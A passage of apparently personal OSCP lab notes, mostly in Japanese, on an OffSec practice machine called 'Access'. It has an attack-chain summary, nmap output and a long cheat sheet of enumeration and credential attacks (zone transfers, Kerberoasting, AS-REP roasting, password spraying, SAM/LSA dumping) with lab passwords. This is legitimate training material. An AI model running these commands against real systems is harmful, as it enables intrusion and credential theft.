Access¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
Web upload form
→ .htaccess AddType bypass
→ php16 webshell
→ reverse shell as svc_apache
→ Kerberoast svc_mssql
→ crack TGS hash: trustno1
→ RunasCs as svc_mssql
→ SeManageVolumePrivilege abuse
→ read Administrator proof.txt
walkthrough¶
192.168.212.21 SERVER.access.offsec
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-10 22:21:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49783/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-10T22:22:05
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-10 22:24:06Z)
123/udp open ntp NTP v3
| ntp-info:
|_
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
514/udp open|filtered syslog
626/udp open|filtered serialnumberd
999/udp open|filtered applix
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
65024/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-UDP:V=7.95%I=7%D=6/11%Time=6A29E41F%P=aarch64-unknown-linux-gnu%
SF:r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_u
SF:dp\x05local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\
SF:0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port65024-UDP:V=7.95%I=7%D=6/11%Time=6A29E429%P=aarch64-unknown-linux-g
SF:nu%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAA
SF:AAAAAAAAAAAAAAAA\0\0!\0\x01")%r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0
SF:\0\t_services\x07_dns-sd\x04_udp\x05local\0\0\x0c\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 4s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.96 seconds
[!!!] DNS server found on 192.168.212.21
[*] Scan completed.
ホスト名が access.offsec0
80と443が以下のバージョン Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7) Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
443はオレオレ証明書 ssl-cert: Subject: commonName=localhostrosoft Windows RPC
dns列挙
53/tcp open domain Simple DNS Plus
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
65024/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
searchsploit
searchsploit XXX
普通に問い合わせ
dig @192.168.212.21 offsec0
dig @192.168.212.21 ANY offsec0
dig @192.168.212.21 SOA offsec0 +tcp
version.bind（意外と取れる）
dig CH TXT version.bind @192.168.212.21
AXFR(TCP)
sudo nmap -p 53 -sT 192.168.212.21
ゾーン転送（最優先）
dig axfr @<IP> <domain>
dig axfr @192.168.212.21 offsec0
ゾーン名が分からない場合
dig -x <IP> @<IP>
dig -x 192.168.212.21 @192.168.212.21
dig -x 192.168.212.21 @192.168.212.21 +tcp
dig -x 192.168.212.21 @192.168.212.21 +tcp
NSが別ホストの場合はそれも試す。
権限付きAXFR（NS指定）
dig axfr <domain> @<nameserver>
dig NS <domain> @<IP>
dig NS offsec0 @192.168.212.21
サブドメイン brute（AXFR失敗時）
dnsenum offsec0 --dnsserver 192.168.212.21
dnsenum offsec0 --dnsserver 192.168.212.21
or
dnsrecon -d offsec0 -n 192.168.212.21
dnsrecon -d offsec0 -n 192.168.212.21
軽量に：
dig any offsec0 @192.168.212.21
gobuster dns \
-d offsec0 \
-r 192.168.212.21 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
SRVレコード（AD環境なら必須）
dig @192.168.212.21 _ldap._tcp.dc._msdcs.offsec0
dig @192.168.212.21 _ldap._tcp.dc._msdcs.offsec0 SRV
dig SRV _ldap._tcp.dc._msdcs.access.offsec0 @192.168.212.21
dig SRV _ldap._tcp.access.offsec0 @192.168.212.21
dig @192.168.212.21 _kerberos._tcp.offsec0
dig SRV _kerberos._tcp.access.offsec0 @192.168.212.21
dig @192.168.212.21 offsec0 NS
ワードリスト brute（余裕あれば）
dnsrecon -d offsec0 -D /usr/share/wordlists/dnsmap.txt -n 192.168.212.21
ntp列挙
123/udp open ntp NTP v3
| ntp-info:
|_
NTPバージョン確認
nmap -sU -p123 --script ntp-info 192.168.212.21
monlist（昔の情報漏洩）
nmap --script ntp-monlist -p123 192.168.212.21
sudo nmap -sU --script ntp-monlist -p123 192.168.212.21or
NTP peers の列挙
sudo apt install ntpsec
ntpq -c peers 192.168.212.21
AD環境での意味
sudo apt install ntpsec-ntpdate
ntpdate -q 192.168.212.21
or
sudo ntpdate 192.168.212.21
winrm列挙
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
普通にアクセス
nxc winrm 192.168.212.21
WinRM確認（最優先）
nmap -sV -p5985,47001 --script http-title,http-headers,http-auth-finder 192.168.212.21
curl -i http://192.168.212.21:5985/wsman
※「HTTP/1.1 405 Method Not Allowed」もしくは「WS-Management」ならwinrm
認証なしアクセス確認
curl -i -H "Content-Type: application/soap+xml" http://192.168.212.21:5985/wsman
※401 → 認証必要（普通） SOAP返答 → 面白い
500 → 実装依存
WinRM認証方式確認（優先）
curl -v http://192.168.212.21:5985/wsman
sudo nmap -p5985 --script http-auth,http-methods,http-headers 192.168.212.21
※WWW-Authenticate: Negotiate WWW-Authenticate: Kerberos WWW-Authenticate: NTLM → Kerberos使えるか判断できる。
creds が手に入ったらやること（超重要）
evil-winrm -i 192.168.212.21 -u USER -p PASS
evil-winrm -i 192.168.212.21 -u USER -p 'PASSWORD'
evil-winrm -i 192.168.212.21 -u USER -H NTHASH
nxc winrm 192.168.212.21 -u USER -p PASS
nxc winrm 192.168.212.21 -u users.txt -p passwords.txt
msrpc列挙
135/tcp open msrpc Microsoft Windows RPC
RPC Endpoint列挙（最優先）
rpcdump.py @192.168.212.21
impacket-rpcdump @192.168.212.21
⇒大量出力。やらなくていい
Null Session確認（超重要）
rpcclient -U "" -N 192.168.212.21
成功したら） enumdomusers enumdomgroups querydominfo getdompwinfo
RID Bruteforce（SAMR）
lookupsid.py anonymous@192.168.212.21
nxc smb 192.168.212.21 --rid-brute
smb列挙
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
普通にアクセス
nxc smb <IP>
nxc smb 192.168.212.21
SMBの基本情報を取る（最優先）
nmap -p139,445 --script=smb-os-discovery,smb-protocols,smb-security-mode 192.168.212.21
※SMBv1 無効 → EternalBlue系は×
匿名（null session）で何が見えるか
smbclient -L //192.168.212.21 -N
smbclient -L //192.168.212.21/ -N
nxc smb 192.168.212.21 -u '' -p ''
smbmap -H 192.168.212.21 -u '' -p ''
smbmap -H 192.168.212.21 --no-pass
enum4linux -a 192.168.212.21
enum4linux-ng -A 192.168.212.21
共有（Shares）の深掘り
nxc smb 192.168.212.21 --shares
smbmap -H 192.168.212.21
共有の中身を実際に見る
smbclient //192.168.212.21/SHARENAME -N
ユーザー・グループの列挙（重要）
nxc smb 192.168.212.21 --users
enum4linux-ng -U 192.168.212.21
enum4linux-ng -G 192.168.212.21
脆弱性チェック（OSCP定番）
nmap -p445 --script=smb-vuln* 192.168.212.21
SMB認証なしでIPC$だけ触れるか確認
smbclient //192.168.212.21/IPC$ -N
SMB認証付き（空パス・Guest）
nxc smb 192.168.212.21 -u guest -p ''
ローカル認証かドメイン認証か切り替える
nxc smb 192.168.212.21 -u Administrator -p ''
nxc smb 192.168.212.21 -u Administrator -p '' --local-auth
creds が手に入ったらやること（超重要）
nxc smb 192.168.212.21 -u USER -p PASS --sam
nxc smb 192.168.212.21 -u USER -p PASS --shares
smbmap -H 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP
nxc smb 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP --shares
nxc smb 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP --users
nxc smb 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP --groups
nxc smb 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP --sam
nxc smb 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP --lsa
nxc smb 192.168.212.21 -u v.perry -p 'SurfaceConditionMove441' -d OSCP --pass-pol
smbclient //192.168.212.21/ADMIN$ -U "OSCP.EXAM\\v.perry"
smbclient //192.168.212.21/C$ -U "OSCP.EXAM\\v.perry"
smbclient //192.168.212.21/IPC$ -U "OSCP.EXAM\\v.perry"
smbclient //192.168.212.21/NETLOGON -U "OSCP.EXAM\\v.perry"
smbclient //192.168.212.21/SYSVOL -U "OSCP.EXAM\\v.perry"
smbclient -L //192.168.212.21 -U "OSCP\\v.perry"
ldap列挙
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
nxc ldap <IP>
nxc ldap 192.168.212.21
nxc ldap 192.168.212.21 --users
nxc ldap 192.168.212.21 --groups
nxc ldap 192.168.212.21 --password-policy
LDAP疎通確認
ldapsearch -x -H ldap://192.168.212.21 -s base
LDAP匿名バインド確認（最優先）
ldapsearch -x -H ldap://192.168.212.21 -s base
ldapsearch -x -H ldap://192.168.212.21 -b "" -s base
AD全体を見やすくダンプ
ldapdomaindump ldap://192.168.212.21 -o ldapdomaindump
RootDSE取得
ldapsearch -x -H ldap://192.168.212.21 -b "" -s base "(objectClass=*)"
匿名でユーザー列挙できるか
ldapsearch -x -H ldap://192.168.212.21 -b "DC=access,DC=offsec" "(objectClass=user)"
ldapsearch -x -H ldap://192.168.212.21 -b "DC=access,DC=offsec" "(objectClass=user)" sAMAccountName
LDAP anonymous search
ldapsearch -x -H ldap://192.168.212.21 -D "" -w "" -b "DC=access,DC=offsec" "(objectClass=*)"
ldapsearch -x -H ldap://192.168.212.21 -b "CN=Users,DC=access,DC=offsec"
ldapsearch -x -H ldap://192.168.212.21 -b "DC=access,DC=offsec" -s base
ldapsearch -x -H ldap://192.168.212.21 -b "CN=Configuration,DC=access,DC=offsec" -s base
Password Policy取得（匿名で取れることあり）
ldapsearch -x -H ldap://192.168.212.21 -b "DC=access,DC=offsec" "(objectClass=domainDNS)" lockoutThreshold minPwdLength
ADCS（証明書サービス）確認 ※LDAP+636見えている場合
certipy-ad find -u '' -p '' -dc-ip 192.168.212.21
/usr/bin/certipy-ad find -u '' -p '' -dc-ip 192.168.212.21
⇒CAが出たら次の展開候補。
ユーザ取れたら） まず基本列挙（最初にやる）
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam."
ユーザー一覧
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam." "(objectClass=user)" sAMAccountName
コンピュータ一覧
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam." "(objectClass=exam.puter)" name
グループ一覧
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam." "(objectClass=group)" cn
SPN列挙（Kerberoast）
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam." "(servicePrincipalName=*)" servicePrincipalName
パスワード属性確認
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam." "(objectClass=user)" pwdLastSet
管理者確認
ldapsearch -x -H ldap://192.168.212.21 -D "oscp\\v.perry" -w 'SurfaceConditionMove441' -b "DC=oscp,DC=exam." "(memberOf=CN=Domain Admins,CN=Users,DC=oscp,DC=exam.)"
一番おすすめ（ツール）
ldapdomaindump ldap://192.168.212.21 -u 'oscp\v.perry' -p 'SurfaceConditionMove441'
kerberos列挙
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-10 22:21:12Z)
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-10 22:24:06Z)
疎通確認
kerbrute userenum -d access.offsec --dc 192.168.212.21 users.txt
# /etc/krb5.conf
[libdefaults]
default_realm = <DOMAIN_UPPER>
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
<DOMAIN_UPPER> = {
kdc = <DC_FQDN>
admin_server = <DC_FQDN>
}
[domain_realm]
.<domain_lower> = <DOMAIN_UPPER>
<domain_lower> = <DOMAIN_UPPER>
Kerberos 認証なし ↓
Kerbrute
↓
GetNPUsers.py
↓ パスワード取得 ↓
GetUserSPNs.py
↓ Kerberoast ↓ 横展開
候補が無ければ一般的なもの：
cat > users.txt <<EOF
administrator guest krbtgt svc svc_sql svc_backup sqlsvc backup web websvc support helpdesk
john
mark alex EOF
ユーザー列挙 (Kerberos User Enumeration)
kerbrute userenum -d access.offsec --dc 192.168.212.21 users.txt
kerbrute userenum -d access.offsec --dc 192.168.212.21 /usr/share/seclists/Usernames/top-usernames-shortlist.txt
AS-REP Roasting ※認証不要
GetNPUsers.py access.offsec/ -no-pass -usersfile users.txt
GetNPUsers.py access.offsec/ -no-pass -usersfile users.txt -dc-ip 192.168.212.21
impacket-GetNPUsers -dc-ip 192.168.212.21 access.offsec/ -usersfile users.txt
impacket-GetNPUsers -dc-ip 192.168.212.21 -request -outputfile hashes.asreproast access.offsec/administrator
hashcat -m 18200 hash.txt rockyou.txt
Password Spray (Kerberos)
kerbrute passwordspray -d oscp.exam users.txt password123
Kerberoasting (SPNアカウント)
※ドメインの認証情報が必須
SPN付きアカウントを見つける。「-request」をつけるとSPN付きアカウント発見＋TGSを取得する。
GetUserSPNs.py access.offsec/ -dc-ip 192.168.212.21
GetUserSPNs.py access.offsec/user:password -dc-ip 192.168.212.21 -request
impacket-GetUserSPNs oscp.exam/user:pass -request -dc-ip 192.168.212.21
impacket-GetUserSPNs oscp.exam/v.perry:SurfaceConditionMove441 -request -dc-ip 192.168.212.21
impacket-GetUserSPNs oscp.exam/r.andrews:SurfaceConditionMove441 -request -dc-ip 192.168.212.21
impacket-GetUserSPNs corp.com/pete:Password123 -request -dc-ip 192.168.212.21
hashcat -m 13100 hash.txt rockyou.txt
credential取得後）
crackmapexec smb 192.168.212.21 -u v.perry -p SurfaceConditionMove441
crackmapexec smb 192.168.212.21 -u r.andrews -p SurfaceConditionMove441
evil-winrm -i 192.168.212.21 -u v.perry -p SurfaceConditionMove441
evil-winrm -i 192.168.212.21 -u r.andrews -p SurfaceConditionMove441
ldapsearch -x -H ldap://192.168.212.21 -D "v.perry@oscp.exam" -w SurfaceConditionMove441
ldapsearch -x -H ldap://192.168.212.21 -D "r.andrews@oscp.exam" -w SurfaceConditionMove441
impacket-GetUserSPNs oscp.exam/v.perry:SurfaceConditionMove441 -dc-ip 192.168.212.21 -request
impacket-GetUserSPNs oscp.exam/r.andrews:SurfaceConditionMove441 -dc-ip 192.168.212.21 -request
＝＝＝
/etc/hosts
192.168.212.21 SERVER.access.offsec SERVER access.offsec
host SERVER.access.offsec host access.offsec
464/tcp open kpasswd5?
⇒kerberos系。パスワード変更サービス。個別に列挙する必要なし
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
⇒AD関連。個別に列挙する必要なし
9389/tcp open mc-nmf .NET Message Framing
Active Directory Web Services。列挙すべきことはなし
⇒AD関連。個別に列挙する必要なし
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
RPC over HTTP。個別に列挙することなし。
http列挙
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
バナー取得
nmap -p80,443 --script http-enum 192.168.212.21
curl -I -k http://192.168.212.21
curl -I -k https://192.168.212.21
※-Iはheader only
whatweb whatweb http://192.168.212.21 --no-errors whatweb https://192.168.212.21 --no-errors
Email[info@example.com] Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
searchsploit
searchsploit Apache 2.4.48
searchsploit OpenSSL 1.1.1k
searchsploit PHP 8.0.7
ページ構造の把握（ブラウザ & curl）
curl -i -k http://192.168.212.21
curl -i -k https://192.168.212.21
※-kは--insecure ※-iは、--show-headers
firefox 192.168.212.21 firefox https://192.168.212.21 firefox 192.168.212.21:3387
robots.txt
curl -I -k http://192.168.212.21/robots.txt
curl -I -k http://192.168.212.21/robots.txt
即 creds に繋がる”チェック（最重要）
config 系直アクセス
見つけたディレクトリがあれば
/config
/includes
/inc
/db
curl -I -k http://192.168.212.21/config.php
curl -I -k http://192.168.212.21/db.php
curl -I -k http://192.168.212.21/config/config.php
curl -I -k https://192.168.212.21/config.php
curl -I -k https://192.168.212.21/db.php
curl -I -k https://192.168.212.21/config/config.php
バックアップ・残骸 index.php~ index.php.bak config.php.old ※PHP + Windows = 高確率で残ってる
ディレクトリ列挙（最小限・高精度）
dirsearch -u http://192.168.212.21 -x 403,404 -t 20
gobuster dir -u http://192.168.212.21 -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak,zip,conf,asp,aspx,config
ffuf -u http://192.168.212.21/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u https://192.168.212.21 -x 403,404 -t 20
gobuster dir -u https://192.168.212.21 -k -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak,zip,conf,asp,aspx,config
なんでも200で返す場合 まず適当なランダムパスでサイズを確認：
curl -s http://192.168.212.21:9099/doesnotexist | wc -c
⇒321
gobuster dir -u http://192.168.212.21:9099 -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak,zip,conf \
--exclude-length 321
狙う拡張子 .php .bak .old .zip .txt .conf
basic認証がある場合 hydra -L users.txt -P passwords.txt 192.168.212.21 http-get / hydra -L users.txt -P passwords.txt 192.168.212.21 http-get / hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.212.21 http-get /
nxc http 192.168.212.21 -u users.txt -p passwords.txt --basic
─$ searchsploit Apache 2.4.48
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) | jsp/webapps/42966.py
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC) | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution | linux/remote/34.pl
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ searchsploit OpenSSL 1.1.1
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service | php/dos/35487.php
PHP < 5.3.6 'OpenSSL' Extension - 'openssl_encrypt' Plaintext Data Memory Leak Denial of Service | php/dos/35486.php
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
─$ searchsploit PHP 8.0.7
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
略
PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows) | php/webapps/52047.py
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
略
Shellcodes: No Results
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ dirsearch -u http://192.168.212.21 -x 403,404 -t 20
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 20 | Wordlist size: 11460
Output File: /home/kali/oscp/pGpractice/Access/192.168.212.21/reports/http_192.168.212.21/_26-06-14_11-15-31.txt
Target: http://192.168.212.21/
[11:15:31] Starting:
[11:15:48] 301 - 343B - /assets -> http://192.168.212.21/assets/
[11:15:48] 200 - 2KB - /assets/
[11:15:50] 200 - 2KB - /cgi-bin/printenv.pl
[11:15:56] 503 - 404B - /examples/
[11:15:56] 503 - 404B - /examples/servlet/SnoopServlet
[11:15:56] 503 - 404B - /examples/jsp/snp/snoop.jsp
[11:15:56] 503 - 404B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[11:15:56] 503 - 404B - /examples
[11:15:56] 503 - 404B - /examples/servlets/index.html
[11:15:56] 503 - 404B - /examples/jsp/index.html
[11:15:56] 503 - 404B - /examples/servlets/servlet/CookieExample
[11:15:56] 503 - 404B - /examples/websocket/index.xhtml
[11:15:56] 503 - 404B - /examples/servlets/servlet/RequestHeaderExample
[11:15:57] 301 - 342B - /forms -> http://192.168.212.21/forms/
[11:16:16] 200 - 777B - /uploads/
[11:16:16] 301 - 344B - /uploads -> http://192.168.212.21/uploads/
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ dirsearch -u http://192.168.212.21/assets/ -x 403,404 -t 20
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 20 | Wordlist size: 11460
Output File: /home/kali/oscp/pGpractice/Access/192.168.212.21/reports/http_192.168.212.21/_assets__26-06-14_11-17-50.txt
Target: http://192.168.212.21/
[11:17:50] Starting: assets/
[11:17:51] 301 - 346B - /assets/js -> http://192.168.212.21/assets/js/
[11:18:12] 301 - 347B - /assets/css -> http://192.168.212.21/assets/css/
[11:18:18] 301 - 347B - /assets/img -> http://192.168.212.21/assets/img/
[11:18:19] 200 - 999B - /assets/js/
[11:18:36] 200 - 2KB - /assets/vendor/
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ dirsearch -u http://192.168.212.21/forms/ -x 403,404 -t 20
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 20 | Wordlist size: 11460
Output File: /home/kali/oscp/pGpractice/Access/192.168.212.21/reports/http_192.168.212.21/_forms__26-06-14_11-18-35.txt
Target: http://192.168.212.21/
[11:18:35] Starting: forms/
[11:18:56] 200 - 44B - /forms/contact.php
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ dirsearch -u http://192.168.212.21/uploads/ -x 403,404 -t 20
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
